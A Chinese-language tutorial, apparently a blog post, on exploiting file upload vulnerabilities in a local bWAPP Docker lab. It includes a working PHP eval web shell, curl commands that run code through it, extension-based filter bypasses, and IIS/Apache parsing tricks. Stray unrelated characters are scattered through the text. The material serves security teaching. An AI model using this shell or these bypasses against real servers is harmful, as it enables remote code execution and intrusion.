文件上傳漏洞是什么?
文件上傳漏洞是在開發(fā)者沒有做充足驗證情況下,允許用戶上傳惡意文件,這里上傳的文件可以是木馬、病毒钾麸、惡意腳本或者webshell等碾牌。
部署靶機環(huán)境
下載鏡像
docker search bwapp # 搜索鏡像
docker pull raesene/bwapp # 拉取鏡像
docker run -d -p 12345:80 raesene/bwapp # 創(chuàng)建容器
docker ps # 確認(rèn)容器是否正常運行
docker container list -a|grep bwapp # 查看容器id
docker start container_id # 啟動容器,如果容器已經(jīng)啟動,就無需這部操作
docker exec -it container_id bash # 進入容器,修改文件的權(quán)限,否在無法上傳文件
在進入容器之后,需要對文件的目錄權(quán)限進行變更,否則無法進行上傳操作
root@137640210dd6:/app# cd ..
root@137640210dd6:/# chown -R www-data:www-data app
系統(tǒng)初始化
在瀏覽器中輸入http://localhost:12345/install.php,進入安全頁面,選擇安裝按鈕,對應(yīng)用進行初始化。
創(chuàng)建用戶
在初始化成功之后草巡,跳轉(zhuǎn)到create user頁面,填寫完信息之后,不要勾選驗證郵件這一項型酥,點擊創(chuàng)建:
文件上傳
上傳漏洞
登錄應(yīng)用之后,選擇Unrestricted File Upload 然后點擊hack按鈕,進入Unrestricted File Upload 頁面,
上傳一個文件shell.php文件捷犹,并進行查看,在預(yù)覽頁面中沒有任何內(nèi)容展示冕末,因為上傳的文件不是一個文本文件,而是一個文件,文件內(nèi)容為:
<?php @eval($_POST['hacker']); ?>%
在php中萍歉,eval是一個特殊的關(guān)鍵字,將一個字符串變成php的運行代碼。
<?php @eval($_POST['hacker']); ?> 中的@eval($_POST['hacker']);是要接收post的數(shù)據(jù)档桃,變量為hacker
curl -d "hacker=echo get_current_user();" http://localhost:12345/images/shell.php # 獲取當(dāng)前用戶
curl -d "hacker=echo getcwd();" http://localhost:12345/images/shell.php # 獲取當(dāng)前的目錄
后綴名跳過
將安全級別設(shè)置為medium枪孩,將無法上傳shell.php文件:
將shell.php 變成shell.php3,在重新上傳文件:
文件成功上傳
將shell.php 變成shell.php30,在重新上傳文件:
文件內(nèi)容可以在預(yù)覽里面看見,因為應(yīng)用把shell.php30當(dāng)作一個文本文件,直接展示內(nèi)容藻肄。
查看容器內(nèi)部的文件:
docker container list -a|grep bwapp # 查看容器id
docker exec -it container_id bash # 進入容器,修改文件的權(quán)限,否在無法上傳文件
cd /etc/apache2/
cat apache2.conf |grep conf
通過apache2.conf文件中蔑舞,可以看到加載的mod有哪些,查看支持的php配置文件位置和內(nèi)容
cd /etc/apache2/mods-enabled
cat php5.conf
php5.conf文件內(nèi)容
<FilesMatch ".+\.ph(p[345]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps$">
SetHandler application/x-httpd-php-source
Order Deny,Allow
Deny from all
</FilesMatch>
<FilesMatch "^\.ph(p[345]?|t|tml|ps)$">
Order Deny,Allow
Deny from all
</FilesMatch>
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
</Directory>
</IfModule>
通過配置文件可以看到嘹屯,如果后綴名字為php3攻询、php4、php5都會解析為PHP文件州弟,php30是無法解析為php文件的钧栖。
前端繞過
ISS 5.x/6 解析漏洞
漏洞1:當(dāng)創(chuàng)建.asp的文件目錄的時候,在此目錄下的任意文件,服務(wù)器都解析為asp文件
漏洞2:服務(wù)器默認(rèn)不解析;以后的內(nèi)容
漏洞利用形式:
漏洞1: www.xx.com/xx.asp/xx.jpg 會被解析成asp文件
漏洞2: www.xx.com/xx.asp;.jpg 會被解析為asp文件
Apache漏洞
Apache 在1.x和2.x版本中存在解析漏洞:
Apache從右至左開始判斷后綴低零,跳過非可識別后綴,直到找到可識別后綴為止拯杠,
然后將該可識別后綴進解析掏婶。
前端驗證繞過
利用方式:
1.使用Burp Suite來攔截請求,將請求進行修改;
2.通過chrome禁止/刪除js代碼。
Windows文件流
什么是Windows文件流潭陪?
NTFS文件系統(tǒng)實現(xiàn)了多文件流特性雄妥,NTFS環(huán)境一個文件默認(rèn)使用的是未命名的文件流,同時可創(chuàng)建其他命名的文件流依溯,Windows資源管理器默認(rèn)不顯示出文件的命名文件流老厌,這些命名的文件流在功能上和默認(rèn)使用的未命名文件流一致,甚至可以用來啟動程序黎炉。